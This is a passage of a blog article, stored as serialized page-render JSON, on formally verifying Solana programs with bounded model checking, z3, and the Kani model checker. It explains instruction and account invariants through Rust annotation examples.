"tag":213,"props":19608,"children":19609},{"style":274},[19610],{"type":28,"value":3190},{"type":23,"tag":213,"props":19612,"children":19613},{"style":220},[19614],{"type":28,"value":19566},{"type":23,"tag":213,"props":19616,"children":19617},{"style":246},[19618],{"type":28,"value":19619},"'z'",{"type":23,"tag":213,"props":19621,"children":19622},{"style":220},[19623],{"type":28,"value":2183},{"type":23,"tag":213,"props":19625,"children":19626},{"class":215,"line":551},[19627],{"type":23,"tag":213,"props":19628,"children":19629},{"emptyLinePlaceholder":18},[19630],{"type":28,"value":530},{"type":23,"tag":213,"props":19632,"children":19633},{"class":215,"line":570},[19634],{"type":23,"tag":213,"props":19635,"children":19636},{"style":537},[19637],{"type":28,"value":19638},"# Positive branch:\n",{"type":23,"tag":213,"props":19640,"children":19641},{"class":215,"line":655},[19642,19647,19651],{"type":23,"tag":213,"props":19643,"children":19644},{"style":220},[19645],{"type":28,"value":19646},"s ",{"type":23,"tag":213,"props":19648,"children":19649},{"style":274},[19650],{"type":28,"value":3190},{"type":23,"tag":213,"props":19652,"children":19653},{"style":220},[19654],{"type":28,"value":19655}," Solver()\n",{"type":23,"tag":213,"props":19657,"children":19658},{"class":215,"line":1176},[19659,19664,19668,19672,19676,19680],{"type":23,"tag":213,"props":19660,"children":19661},{"style":220},[19662],{"type":28,"value":19663},"s.add(y ",{"type":23,"tag":213,"props":19665,"children":19666},{"style":274},[19667],{"type":28,"value":8660},{"type":23,"tag":213,"props":19669,"children":19670},{"style":220},[19671],{"type":28,"value":19143},{"type":23,"tag":213,"props":19673,"children":19674},{"style":274},[19675],{"type":28,"value":2703},{"type":23,"tag":213,"props":19677,"children":19678},{"style":514},[19679],{"type":28,"value":19152},{"type":23,"tag":213,"props":19681,"children":19682},{"style":220},[19683],{"type":28,"value":2183},{"type":23,"tag":213,"props":19685,"children":19686},{"class":215,"line":1202},[19687,19691,19695,19699],{"type":23,"tag":213,"props":19688,"children":19689},{"style":220},[19690],{"type":28,"value":19663},{"type":23,"tag":213,"props":19692,"children":19693},{"style":274},[19694],{"type":28,"value":10545},{"type":23,"tag":213,"props":19696,"children":19697},{"style":514},[19698],{"type":28,"value":19189},{"type":23,"tag":213,"props":19700,"children":19701},{"style":220},[19702],{"type":28,"value":2183},{"type":23,"tag":213,"props":19704,"children":19705},{"class":215,"line":1758},[19706,19711,19715,19719,19723,19727],{"type":23,"tag":213,"props":19707,"children":19708},{"style":220},[19709],{"type":28,"value":19710},"s.add(z ",{"type":23,"tag":213,"props":19712,"children":19713},{"style":274},[19714],{"type":28,"value":8660},{"type":23,"tag":213,"props":19716,"children":19717},{"style":220},[19718],{"type":28,"value":4609},{"type":23,"tag":213,"props":19720,"children":19721},{"style":274},[19722],{"type":28,"value":1696},{"type":23,"tag":213,"props":19724,"children":19725},{"style":514},[19726],{"type":28,"value":8022},{"type":23,"tag":213,"props":19728,"children":19729},{"style":220},[19730],{"type":28,"value":2183},{"type":23,"tag":213,"props":19732,"children":19733},{"class":215,"line":1767},[19734],{"type":23,"tag":213,"props":19735,"children":19736},{"emptyLinePlaceholder":18},[19737],{"type":28,"value":530},{"type":23,"tag":213,"props":19739,"children":19740},{"class":215,"line":1789},[19741],{"type":23,"tag":213,"props":19742,"children":19743},{"style":537},[19744],{"type":28,"value":19745},"# check if we can violate the correctness property\n",{"type":23,"tag":213,"props":19747,"children":19748},{"class":215,"line":1812},[19749,19754,19758,19762],{"type":23,"tag":213,"props":19750,"children":19751},{"style":220},[19752],{"type":28,"value":19753},"s.add(Not(z ",{"type":23,"tag":213,"props":19755,"children":19756},{"style":274},[19757],{"type":28,"value":15743},{"type":23,"tag":213,"props":19759,"children":19760},{"style":514},[19761],{"type":28,"value":19307},{"type":23,"tag":213,"props":19763,"children":19764},{"style":220},[19765],{"type":28,"value":19766},"))\n",{"type":23,"tag":213,"props":19768,"children":19769},{"class":215,"line":1838},[19770,19775,19780],{"type":23,"tag":213,"props":19771,"children":19772},{"style":257},[19773],{"type":28,"value":19774},"print",{"type":23,"tag":213,"props":19776,"children":19777},{"style":220},[19778],{"type":28,"value":19779},"(s.check()) ",{"type":23,"tag":213,"props":19781,"children":19782},{"style":537},[19783],{"type":28,"value":19784},"# \"unsat\"\n",{"type":23,"tag":213,"props":19786,"children":19787},{"class":215,"line":1851},[19788],{"type":23,"tag":213,"props":19789,"children":19790},{"emptyLinePlaceholder":18},[19791],{"type":28,"value":530},{"type":23,"tag":213,"props":19793,"children":19794},{"class":215,"line":1864},[19795],{"type":23,"tag":213,"props":19796,"children":19797},{"style":537},[19798],{"type":28,"value":19799},"# Negative branch:\n",{"type":23,"tag":213,"props":19801,"children":19802},{"class":215,"line":1890},[19803,19807,19811],{"type":23,"tag":213,"props":19804,"children":19805},{"style":220},[19806],{"type":28,"value":19646},{"type":23,"tag":213,"props":19808,"children":19809},{"style":274},[19810],{"type":28,"value":3190},{"type":23,"tag":213,"props":19812,"children":19813},{"style":220},[19814],{"type":28,"value":19655},{"type":23,"tag":213,"props":19816,"children":19817},{"class":215,"line":1899},[19818,19822,19826,19830,19834,19838],{"type":23,"tag":213,"props":19819,"children":19820},{"style":220},[19821],{"type":28,"value":19663},{"type":23,"tag":213,"props":19823,"children":19824},{"style":274},[19825],{"type":28,"value":8660},{"type":23,"tag":213,"props":19827,"children":19828},{"style":220},[19829],{"type":28,"value":19143},{"type":23,"tag":213,"props":19831,"children":19832},{"style":274},[19833],{"type":28,"value":2703},{"type":23,"tag":213,"props":19835,"children":19836},{"style":514},[19837],{"type":28,"value":19152},{"type":23,"tag":213,"props":19839,"children":19840},{"style":220},[19841],{"type":28,"value":2183},{"type":23,"tag":213,"props":19843,"children":19844},{"class":215,"line":1912},[19845,19849,19853,19857],{"type":23,"tag":213,"props":19846,"children":19847},{"style":220},[19848],{"type":28,"value":19663},{"type":23,"tag":213,"props":19850,"children":19851},{"style":274},[19852],{"type":28,"value":19468},{"type":23,"tag":213,"props":19854,"children":19855},{"style":514},[19856],{"type":28,"value":19189},{"type":23,"tag":213,"props":19858,"children":19859},{"style":220},[19860],{"type":28,"value":2183},{"type":23,"tag":213,"props":19862,"children":19863},{"class":215,"line":1921},[19864,19868,19872,19876,19880,19884],{"type":23,"tag":213,"props":19865,"children":19866},{"style":220},[19867],{"type":28,"value":19710},{"type":23,"tag":213,"props":19869,"children":19870},{"style":274},[19871],{"type":28,"value":8660},{"type":23,"tag":213,"props":19873,"children":19874},{"style":220},[19875],{"type":28,"value":4609},{"type":23,"tag":213,"props":19877,"children":19878},{"style":274},[19879],{"type":28,"value":2703},{"type":23,"tag":213,"props":19881,"children":19882},{"style":514},[19883],{"type":28,"value":4618},{"type":23,"tag":213,"props":19885,"children":19886},{"style":220},[19887],{"type":28,"value":2183},{"type":23,"tag":213,"props":19889,"children":19890},{"class":215,"line":3879},[19891],{"type":23,"tag":213,"props":19892,"children":19893},{"emptyLinePlaceholder":18},[19894],{"type":28,"value":530},{"type":23,"tag":213,"props":19896,"children":19897},{"class":215,"line":3887},[19898],{"type":23,"tag":213,"props":19899,"children":19900},{"style":537},[19901],{"type":28,"value":19745},{"type":23,"tag":213,"props":19903,"children":19904},{"class":215,"line":3918},[19905,19909,19913,19917],{"type":23,"tag":213,"props":19906,"children":19907},{"style":220},[19908],{"type":28,"value":19753},{"type":23,"tag":213,"props":19910,"children":19911},{"style":274},[19912],{"type":28,"value":15743},{"type":23,"tag":213,"props":19914,"children":19915},{"style":514},[19916],{"type":28,"value":19307},{"type":23,"tag":213,"props":19918,"children":19919},{"style":220},[19920],{"type":28,"value":19766},{"type":23,"tag":213,"props":19922,"children":19923},{"class":215,"line":3926},[19924,19928,19932],{"type":23,"tag":213,"props":19925,"children":19926},{"style":257},[19927],{"type":28,"value":19774},{"type":23,"tag":213,"props":19929,"children":19930},{"style":220},[19931],{"type":28,"value":19779},{"type":23,"tag":213,"props":19933,"children":19934},{"style":537},[19935],{"type":28,"value":19784},{"type":23,"tag":24,"props":19937,"children":19938},{},[19939,19941,19947,19949,19954],{"type":28,"value":19940},"Both of these cases return ",{"type":23,"tag":209,"props":19942,"children":19944},{"className":19943},[],[19945],{"type":28,"value":19946},"unsat",{"type":28,"value":19948}," meaning z3 could not find a way to violate the correctness property, hence our program is ",{"type":23,"tag":87,"props":19950,"children":19951},{},[19952],{"type":28,"value":19953},"correct",{"type":28,"value":19955}," according to this property.",{"type":23,"tag":9693,"props":19957,"children":19959},{"id":19958},"loop-bounds-path-explosion",[19960],{"type":28,"value":19961},"Loop bounds & path explosion",{"type":23,"tag":24,"props":19963,"children":19964},{},[19965,19967,19972,19974,19979],{"type":28,"value":19966},"As you may have noticed, BMC requires us to take ",{"type":23,"tag":87,"props":19968,"children":19969},{},[19970],{"type":28,"value":19971},"every",{"type":28,"value":19973}," branch in the program. To be sure that our property holds, we need to check every possible route through the program. If we have 10 branches in a row we might need to test 2^10 paths! And if our program has loops, we may need to check an ",{"type":23,"tag":87,"props":19975,"children":19976},{},[19977],{"type":28,"value":19978},"infinite",{"type":28,"value":19980}," number of paths because the loop branches backward. This might take a while...",{"type":23,"tag":24,"props":19982,"children":19983},{},[19984],{"type":28,"value":19985},"This is where the \"bounded\" part of \"bounded model checking\" applies. Rather than unroll an infinite number of loops, we can set a loop bound and also verify that it is not possible to loop more than the loop bound.",{"type":23,"tag":24,"props":19987,"children":19988},{},[19989],{"type":28,"value":19990},"While this technique of bounding loops makes the problem tractable. It is still expensive to run BMC on very large programs due to the problem of path explosion. As our program gets larger, the number of possible paths scales potentially exponentially.",{"type":23,"tag":24,"props":19992,"children":19993},{},[19994],{"type":28,"value":19995},"One of the main challenges we will discuss later is how to address this problem of path explosion in the context of Solana Rust programs.",{"type":23,"tag":9693,"props":19997,"children":19999},{"id":19998},"kani-model-checker",[20000],{"type":28,"value":20001},"Kani Model Checker",{"type":23,"tag":24,"props":20003,"children":20004},{},[20005,20007,20012],{"type":28,"value":20006},"For our research with formally verifying Solana programs, we are using the ",{"type":23,"tag":36,"props":20008,"children":20010},{"href":18899,"rel":20009},[40],[20011],{"type":28,"value":18903},{"type":28,"value":20013},": an open-source, bit-precise model checker for Rust created at AWS. Under the hood, Kani uses the C Bounded Model Checker (CBMC) to do the heavy lifting.",{"type":23,"tag":24,"props":20015,"children":20016},{},[20017,20019,20024,20026,20032,20033,20039,20041,20047],{"type":28,"value":20018},"Kani allows you to write ",{"type":23,"tag":87,"props":20020,"children":20021},{},[20022],{"type":28,"value":20023},"proof harnesses",{"type":28,"value":20025}," which can invoke Rust functions with symbolic values. These harnesses can ",{"type":23,"tag":209,"props":20027,"children":20029},{"className":20028},[],[20030],{"type":28,"value":20031},"assume",{"type":28,"value":1466},{"type":23,"tag":209,"props":20034,"children":20036},{"className":20035},[],[20037],{"type":28,"value":20038},"assert",{"type":28,"value":20040}," certain conditions about these symbolic values and then you can verify that a proof harness holds via the ",{"type":23,"tag":209,"props":20042,"children":20044},{"className":20043},[],[20045],{"type":28,"value":20046},"cargo kani",{"type":28,"value":20048}," tool (which compiles your proof harness and runs BMC).",{"type":23,"tag":47,"props":20050,"children":20052},{"id":20051},"specification-how-can-we-describe-what-we-want-our-program-to-do",[20053,20055,20059],{"type":28,"value":20054},"Specification: How can we describe what we ",{"type":23,"tag":87,"props":20056,"children":20057},{},[20058],{"type":28,"value":18973},{"type":28,"value":18975},{"type":23,"tag":24,"props":20061,"children":20062},{},[20063],{"type":23,"tag":87,"props":20064,"children":20065},{},[20066],{"type":23,"tag":95,"props":20067,"children":20068},{},[20069],{"type":28,"value":20070},"And what even do we want it to do?",{"type":23,"tag":24,"props":20072,"children":20073},{},[20074,20076,20081],{"type":28,"value":20075},"A fundamental challenge with any formal verification framework is ",{"type":23,"tag":87,"props":20077,"children":20078},{},[20079],{"type":28,"value":20080},"specifying",{"type":28,"value":20082}," what the \"correct\" behavior should be.",{"type":23,"tag":24,"props":20084,"children":20085},{},[20086],{"type":28,"value":20087},"In natural language, we can describe a few good properties for example Solana programs:",{"type":23,"tag":168,"props":20089,"children":20090},{},[20091,20103,20115],{"type":23,"tag":135,"props":20092,"children":20093},{},[20094,20096,20101],{"type":28,"value":20095},"\"It should not be possible to ",{"type":23,"tag":95,"props":20097,"children":20098},{},[20099],{"type":28,"value":20100},"steal money",{"type":28,"value":20102}," via a swap program\"",{"type":23,"tag":135,"props":20104,"children":20105},{},[20106,20108,20113],{"type":28,"value":20107},"\"A multisig should never get into a state where you ",{"type":23,"tag":95,"props":20109,"children":20110},{},[20111],{"type":28,"value":20112},"can't sign anything",{"type":28,"value":20114},"\"",{"type":23,"tag":135,"props":20116,"children":20117},{},[20118],{"type":28,"value":20119},"\"User funds in a staking protocol \"",{"type":23,"tag":24,"props":20121,"children":20122},{},[20123,20125,20135,20137,20142],{"type":28,"value":20124},"These are types of properties you can tell your ",{"type":23,"tag":36,"props":20126,"children":20129},{"href":20127,"rel":20128},"https://osec.io/",[40],[20130],{"type":23,"tag":87,"props":20131,"children":20132},{},[20133],{"type":28,"value":20134},"human auditors",{"type":28,"value":20136}," but these English phrases are not particularly useful for ",{"type":23,"tag":87,"props":20138,"children":20139},{},[20140],{"type":28,"value":20141},"automated verification techniques",{"type":28,"value":20143}," (at least until our AI overlords surpass human intelligence).",{"type":23,"tag":24,"props":20145,"children":20146},{},[20147,20149,20154,20156,20161],{"type":28,"value":20148},"Instead, we need to be able to specify ",{"type":23,"tag":87,"props":20150,"children":20151},{},[20152],{"type":28,"value":20153},"in code",{"type":28,"value":20155}," what properties we want to check. Ideally, we could define invariants that fit nicely into something like an ",{"type":23,"tag":209,"props":20157,"children":20159},{"className":20158},[],[20160],{"type":28,"value":20038},{"type":28,"value":20162}," statement.",{"type":23,"tag":9693,"props":20164,"children":20166},{"id":20165},"solana-invariants",[20167],{"type":28,"value":20168},"Solana Invariants",{"type":23,"tag":24,"props":20170,"children":20171},{},[20172,20174,20179,20180,20185],{"type":28,"value":20173},"In the context of Solana programs we define two different types of properties that we would like to verify: ",{"type":23,"tag":95,"props":20175,"children":20176},{},[20177],{"type":28,"value":20178},"instruction invariants",{"type":28,"value":1466},{"type":23,"tag":95,"props":20181,"children":20182},{},[20183],{"type":28,"value":20184},"account invariants",{"type":28,"value":124},{"type":23,"tag":18945,"props":20187,"children":20189},{"id":20188},"instruction-invariant",[20190],{"type":28,"value":20191},"Instruction Invariant",{"type":23,"tag":24,"props":20193,"children":20194},{},[20195,20197,20202,20204,20210,20211,20217],{"type":28,"value":20196},"An ",{"type":23,"tag":95,"props":20198,"children":20199},{},[20200],{"type":28,"value":20201},"instruction invariant",{"type":28,"value":20203}," specifies sufficient conditions for an instruction to succeed (or fail). These are specified as ",{"type":23,"tag":209,"props":20205,"children":20207},{"className":20206},[],[20208],{"type":28,"value":20209},"succeeds_if",{"type":28,"value":108},{"type":23,"tag":209,"props":20212,"children":20214},{"className":20213},[],[20215],{"type":28,"value":20216},"errors_if",{"type":28,"value":20218}," macro annotations on the instruction handler.",{"type":23,"tag":24,"props":20220,"children":20221},{},[20222],{"type":28,"value":20223},"In Solana, when an instruction fails, the entire transaction is reverted. Failing an instruction on purpose is commonly used as a form of access control; invalid accounts, bad state, etc... will cause an instruction to fail and get reverted.",{"type":23,"tag":24,"props":20225,"children":20226},{},[20227,20229,20235,20237,20242],{"type":28,"value":20228},"For example, say we have a ",{"type":23,"tag":209,"props":20230,"children":20232},{"className":20231},[],[20233],{"type":28,"value":20234},"Withdraw",{"type":28,"value":20236}," instruction that lets a user withdraw some tokens. A security critical property we may want to verify is that the user cannot withdraw ",{"type":23,"tag":87,"props":20238,"children":20239},{},[20240],{"type":28,"value":20241},"more",{"type":28,"value":20243}," tokens than their current balance.",{"type":23,"tag":24,"props":20245,"children":20246},{},[20247,20249,20254],{"type":28,"value":20248},"Using our tool, you could specify the following ",{"type":23,"tag":209,"props":20250,"children":20252},{"className":20251},[],[20253],{"type":28,"value":20216},{"type":28,"value":20255}," property on your instruction handler:",{"type":23,"tag":202,"props":20257,"children":20259},{"code":20258,"language":205,"meta":7,"className":206,"style":7},"#[errors_if(\n ctx.user.balance \u003C amount\n)]\nfn withdraw(ctx: Context\u003CWithdraw>, amount: u64) -> Result\u003C()> {\n ...\n}\n",[20260],{"type":23,"tag":209,"props":20261,"children":20262},{"__ignoreMap":7},[20263,20271,20306,20314,20387,20394],{"type":23,"tag":213,"props":20264,"children":20265},{"class":215,"line":216},[20266],{"type":23,"tag":213,"props":20267,"children":20268},{"style":220},[20269],{"type":28,"value":20270},"#[errors_if(\n",{"type":23,"tag":213,"props":20272,"children":20273},{"class":215,"line":226},[20274,20279,20283,20288,20292,20297,20301],{"type":23,"tag":213,"props":20275,"children":20276},{"style":220},[20277],{"type":28,"value":20278}," ctx",{"type":23,"tag":213,"props":20280,"children":20281},{"style":274},[20282],{"type":28,"value":124},{"type":23,"tag":213,"props":20284,"children":20285},{"style":220},[20286],{"type":28,"value":20287},"user",{"type":23,"tag":213,"props":20289,"children":20290},{"style":274},[20291],{"type":28,"value":124},{"type":23,"tag":213,"props":20293,"children":20294},{"style":220},[20295],{"type":28,"value":20296},"balance ",{"type":23,"tag":213,"props":20298,"children":20299},{"style":274},[20300],{"type":28,"value":434},{"type":23,"tag":213,"props":20302,"children":20303},{"style":220},[20304],{"type":28,"value":20305}," amount\n",{"type":23,"tag":213,"props":20307,"children":20308},{"class":215,"line":524},[20309],{"type":23,"tag":213,"props":20310,"children":20311},{"style":220},[20312],{"type":28,"value":20313},")]\n",{"type":23,"tag":213,"props":20315,"children":20316},{"class":215,"line":533},[20317,20322,20327,20331,20336,20340,20345,20349,20353,20357,20362,20366,20370,20374,20378,20382],{"type":23,"tag":213,"props":20318,"children":20319},{"style":230},[20320],{"type":28,"value":20321},"fn",{"type":23,"tag":213,"props":20323,"children":20324},{"style":257},[20325],{"type":28,"value":20326}," withdraw",{"type":23,"tag":213,"props":20328,"children":20329},{"style":220},[20330],{"type":28,"value":265},{"type":23,"tag":213,"props":20332,"children":20333},{"style":268},[20334],{"type":28,"value":20335},"ctx",{"type":23,"tag":213,"props":20337,"children":20338},{"style":274},[20339],{"type":28,"value":277},{"type":23,"tag":213,"props":20341,"children":20342},{"style":290},[20343],{"type":28,"value":20344}," Context",{"type":23,"tag":213,"props":20346,"children":20347},{"style":220},[20348],{"type":28,"value":434},{"type":23,"tag":213,"props":20350,"children":20351},{"style":290},[20352],{"type":28,"value":20234},{"type":23,"tag":213,"props":20354,"children":20355},{"style":220},[20356],{"type":28,"value":6723},{"type":23,"tag":213,"props":20358,"children":20359},{"style":268},[20360],{"type":28,"value":20361},"amount",{"type":23,"tag":213,"props":20363,"children":20364},{"style":274},[20365],{"type":28,"value":277},{"type":23,"tag":213,"props":20367,"children":20368},{"style":290},[20369],{"type":28,"value":308},{"type":23,"tag":213,"props":20371,"children":20372},{"style":220},[20373],{"type":28,"value":298},{"type":23,"tag":213,"props":20375,"children":20376},{"style":274},[20377],{"type":28,"value":303},{"type":23,"tag":213,"props":20379,"children":20380},{"style":290},[20381],{"type":28,"value":13838},{"type":23,"tag":213,"props":20383,"children":20384},{"style":220},[20385],{"type":28,"value":20386},"\u003C()> {\n",{"type":23,"tag":213,"props":20388,"children":20389},{"class":215,"line":543},[20390],{"type":23,"tag":213,"props":20391,"children":20392},{"style":274},[20393],{"type":28,"value":2257},{"type":23,"tag":213,"props":20395,"children":20396},{"class":215,"line":551},[20397],{"type":23,"tag":213,"props":20398,"children":20399},{"style":220},[20400],{"type":28,"value":1208},{"type":23,"tag":3036,"props":20402,"children":20403},{},[20404],{"type":23,"tag":24,"props":20405,"children":20406},{},[20407,20408,20413,20415,20420,20422,20427],{"type":28,"value":2623},{"type":23,"tag":209,"props":20409,"children":20411},{"className":20410},[],[20412],{"type":28,"value":20216},{"type":28,"value":20414}," expression specifies ",{"type":23,"tag":87,"props":20416,"children":20417},{},[20418],{"type":28,"value":20419},"succifient",{"type":28,"value":20421}," but not ",{"type":23,"tag":87,"props":20423,"children":20424},{},[20425],{"type":28,"value":20426},"necessary",{"type":28,"value":20428}," conditions for an instruction to fail. I.e. it imposes a strong lower bound on what the requirements are for an instruction to fail.",{"type":23,"tag":18845,"props":20430,"children":20431},{},[],{"type":23,"tag":24,"props":20433,"children":20434},{},[20435,20437,20442],{"type":28,"value":20436},"Another example is that for ",{"type":23,"tag":87,"props":20438,"children":20439},{},[20440],{"type":28,"value":20441},"crank",{"type":28,"value":20443}," functions — run by unauthenticated users to advance the state of the system, you may want to prove that they never fail. In that case, you could specify an invariant like the following:",{"type":23,"tag":202,"props":20445,"children":20447},{"code":20446,"language":205,"meta":7,"className":206,"style":7},"#[succeeds_if(true)]\nfn my_crank(ctx: Context\u003CCrank>) -> Result\u003C()> {\n ...\n}\n",[20448],{"type":23,"tag":209,"props":20449,"children":20450},{"__ignoreMap":7},[20451,20459,20513,20520],{"type":23,"tag":213,"props":20452,"children":20453},{"class":215,"line":216},[20454],{"type":23,"tag":213,"props":20455,"children":20456},{"style":220},[20457],{"type":28,"value":20458},"#[succeeds_if(true)]\n",{"type":23,"tag":213,"props":20460,"children":20461},{"class":215,"line":226},[20462,20466,20471,20475,20479,20483,20487,20491,20496,20501,20505,20509],{"type":23,"tag":213,"props":20463,"children":20464},{"style":230},[20465],{"type":28,"value":20321},{"type":23,"tag":213,"props":20467,"children":20468},{"style":257},[20469],{"type":28,"value":20470}," my_crank",{"type":23,"tag":213,"props":20472,"children":20473},{"style":220},[20474],{"type":28,"value":265},{"type":23,"tag":213,"props":20476,"children":20477},{"style":268},[20478],{"type":28,"value":20335},{"type":23,"tag":213,"props":20480,"children":20481},{"style":274},[20482],{"type":28,"value":277},{"type":23,"tag":213,"props":20484,"children":20485},{"style":290},[20486],{"type":28,"value":20344},{"type":23,"tag":213,"props":20488,"children":20489},{"style":220},[20490],{"type":28,"value":434},{"type":23,"tag":213,"props":20492,"children":20493},{"style":290},[20494],{"type":28,"value":20495},"Crank",{"type":23,"tag":213,"props":20497,"children":20498},{"style":220},[20499],{"type":28,"value":20500},">) ",{"type":23,"tag":213,"props":20502,"children":20503},{"style":274},[20504],{"type":28,"value":303},{"type":23,"tag":213,"props":20506,"children":20507},{"style":290},[20508],{"type":28,"value":13838},{"type":23,"tag":213,"props":20510,"children":20511},{"style":220},[20512],{"type":28,"value":20386},{"type":23,"tag":213,"props":20514,"children":20515},{"class":215,"line":524},[20516],{"type":23,"tag":213,"props":20517,"children":20518},{"style":274},[20519],{"type":28,"value":2257},{"type":23,"tag":213,"props":20521,"children":20522},{"class":215,"line":533},[20523],{"type":23,"tag":213,"props":20524,"children":20525},{"style":220},[20526],{"type":28,"value":1208},{"type":23,"tag":24,"props":20528,"children":20529},{},[20530,20532,20536,20538,20544],{"type":28,"value":20531},"With this invariant, you could prove that the function ",{"type":23,"tag":87,"props":20533,"children":20534},{},[20535],{"type":28,"value":13174},{"type":28,"value":20537}," returns ",{"type":23,"tag":209,"props":20539,"children":20541},{"className":20540},[],[20542],{"type":28,"value":20543},"Ok",{"type":28,"value":20545},". This type of construction could help avoid possible denial of service attacks if a crank could get \"stuck.\"",{"type":23,"tag":18845,"props":20547,"children":20548},{},[],{"type":23,"tag":24,"props":20550,"children":20551},{},[20552,20554,20559,20560,20565,20567,20572,20574,20579,20581,20586],{"type":28,"value":20553},"Note that ",{"type":23,"tag":209,"props":20555,"children":20557},{"className":20556},[],[20558],{"type":28,"value":20209},{"type":28,"value":1466},{"type":23,"tag":209,"props":20561,"children":20563},{"className":20562},[],[20564],{"type":28,"value":20216},{"type":28,"value":20566}," are both implications and not biconditionals. That is, a function may succeed even if ",{"type":23,"tag":209,"props":20568,"children":20570},{"className":20569},[],[20571],{"type":28,"value":20209},{"type":28,"value":20573}," is not satisfied and a function may fail even if ",{"type":23,"tag":209,"props":20575,"children":20577},{"className":20576},[],[20578],{"type":28,"value":20216},{"type":28,"value":20580}," is not satisfied. If you want to prove the ",{"type":23,"tag":87,"props":20582,"children":20583},{},[20584],{"type":28,"value":20585},"exact condition",{"type":28,"value":20587}," required for an instruction to succeed, you could use a form like the following:",{"type":23,"tag":202,"props":20589,"children":20591},{"code":20590,"language":205,"meta":7,"className":206,"style":7},"fn my_invariant(...) -> bool { ... }\n\n#[succeeds_if(my_invariant(...))]\n#[errors_if(!my_invariant(...))]\nfn my_instruction(ctx: Context\u003C...>) -> Result\u003C()> {\n ...\n}\n",[20592],{"type":23,"tag":209,"props":20593,"children":20594},{"__ignoreMap":7},[20595,20639,20646,20663,20689,20741,20748],{"type":23,"tag":213,"props":20596,"children":20597},{"class":215,"line":216},[20598,20602,20607,20611,20615,20619,20623,20627,20631,20635],{"type":23,"tag":213,"props":20599,"children":20600},{"style":230},[20601],{"type":28,"value":20321},{"type":23,"tag":213,"props":20603,"children":20604},{"style":257},[20605],{"type":28,"value":20606}," my_invariant",{"type":23,"tag":213,"props":20608,"children":20609},{"style":220},[20610],{"type":28,"value":265},{"type":23,"tag":213,"props":20612,"children":20613},{"style":274},[20614],{"type":28,"value":9675},{"type":23,"tag":213,"props":20616,"children":20617},{"style":220},[20618],{"type":28,"value":298},{"type":23,"tag":213,"props":20620,"children":20621},{"style":274},[20622],{"type":28,"value":303},{"type":23,"tag":213,"props":20624,"children":20625},{"style":290},[20626],{"type":28,"value":965},{"type":23,"tag":213,"props":20628,"children":20629},{"style":220},[20630],{"type":28,"value":2572},{"type":23,"tag":213,"props":20632,"children":20633},{"style":274},[20634],{"type":28,"value":9675},{"type":23,"tag":213,"props":20636,"children":20637},{"style":220},[20638],{"type":28,"value":9680},{"type":23,"tag":213,"props":20640,"children":20641},{"class":215,"line":226},[20642],{"type":23,"tag":213,"props":20643,"children":20644},{"emptyLinePlaceholder":18},[20645],{"type":28,"value":530},{"type":23,"tag":213,"props":20647,"children":20648},{"class":215,"line":524},[20649,20654,20658],{"type":23,"tag":213,"props":20650,"children":20651},{"style":220},[20652],{"type":28,"value":20653},"#[succeeds_if(my_invariant(",{"type":23,"tag":213,"props":20655,"children":20656},{"style":274},[20657],{"type":28,"value":9675},{"type":23,"tag":213,"props":20659,"children":20660},{"style":220},[20661],{"type":28,"value":20662},"))]\n",{"type":23,"tag":213,"props":20664,"children":20665},{"class":215,"line":533},[20666,20671,20676,20681,20685],{"type":23,"tag":213,"props":20667,"children":20668},{"style":220},[20669],{"type":28,"value":20670},"#[errors_if(",{"type":23,"tag":213,"props":20672,"children":20673},{"style":274},[20674],{"type":28,"value":20675},"!",{"type":23,"tag":213,"props":20677,"children":20678},{"style":220},[20679],{"type":28,"value":20680},"my_invariant(",{"type":23,"tag":213,"props":20682,"children":20683},{"style":274},[20684],{"type":28,"value":9675},{"type":23,"tag":213,"props":20686,"children":20687},{"style":220},[20688],{"type":28,"value":20662},{"type":23,"tag":213,"props":20690,"children":20691},{"class":215,"line":543},[20692,20696,20701,20705,20709,20713,20717,20721,20725,20729,20733,20737],{"type":23,"tag":213,"props":20693,"children":20694},{"style":230},[20695],{"type":28,"value":20321},{"type":23,"tag":213,"props":20697,"children":20698},{"style":257},[20699],{"type":28,"value":20700}," my_instruction",{"type":23,"tag":213,"props":20702,"children":20703},{"style":220},[20704],{"type":28,"value":265},{"type":23,"tag":213,"props":20706,"children":20707},{"style":268},[20708],{"type":28,"value":20335},{"type":23,"tag":213,"props":20710,"children":20711},{"style":274},[20712],{"type":28,"value":277},{"type":23,"tag":213,"props":20714,"children":20715},{"style":290},[20716],{"type":28,"value":20344},{"type":23,"tag":213,"props":20718,"children":20719},{"style":220},[20720],{"type":28,"value":434},{"type":23,"tag":213,"props":20722,"children":20723},{"style":274},[20724],{"type":28,"value":9675},{"type":23,"tag":213,"props":20726,"children":20727},{"style":220},[20728],{"type":28,"value":20500},{"type":23,"tag":213,"props":20730,"children":20731},{"style":274},[20732],{"type":28,"value":303},{"type":23,"tag":213,"props":20734,"children":20735},{"style":290},[20736],{"type":28,"value":13838},{"type":23,"tag":213,"props":20738,"children":20739},{"style":220},[20740],{"type":28,"value":20386},{"type":23,"tag":213,"props":20742,"children":20743},{"class":215,"line":551},[20744],{"type":23,"tag":213,"props":20745,"children":20746},{"style":274},[20747],{"type":28,"value":2257},{"type":23,"tag":213,"props":20749,"children":20750},{"class":215,"line":570},[20751],{"type":23,"tag":213,"props":20752,"children":20753},{"style":220},[20754],{"type":28,"value":1208},{"type":23,"tag":24,"props":20756,"children":20757},{},[20758],{"type":28,"value":20759},"Note that in practice, it is usually not necessary (or useful) to find the exact condition; rather we can achieve the security properties we want purely by proving upper and lower bounds on instruction success.",{"type":23,"tag":18945,"props":20761,"children":20763},{"id":20762},"account-invariants",[20764],{"type":28,"value":20765},"Account Invariants",{"type":23,"tag":24,"props":20767,"children":20768},{},[20769,20771,20776],{"type":28,"value":20770},"The other type of invariant is an ",{"type":23,"tag":95,"props":20772,"children":20773},{},[20774],{"type":28,"value":20775},"Account Invariant",{"type":28,"value":20777},". This invariant describes some property of an account that should always hold.",{"type":23,"tag":24,"props":20779,"children":20780},{},[20781,20783,20788,20789,20795],{"type":28,"value":20782},"In our tool, we verify that the account invariant holds after every instruction that could modify the account data (i.e. if the account is ",{"type":23,"tag":209,"props":20784,"children":20786},{"className":20785},[],[20787],{"type":28,"value":287},{"type":28,"value":108},{"type":23,"tag":209,"props":20790,"children":20792},{"className":20791},[],[20793],{"type":28,"value":20794},"init",{"type":28,"value":20796},").",{"type":23,"tag":24,"props":20798,"children":20799},{},[20800,20802,20808],{"type":28,"value":20801},"For example, given a mock ",{"type":23,"tag":209,"props":20803,"children":20805},{"className":20804},[],[20806],{"type":28,"value":20807},"UserStatement",{"type":28,"value":20809}," account that represents how much a user owns and owes, we could write an invariant that asserts that the net balance is 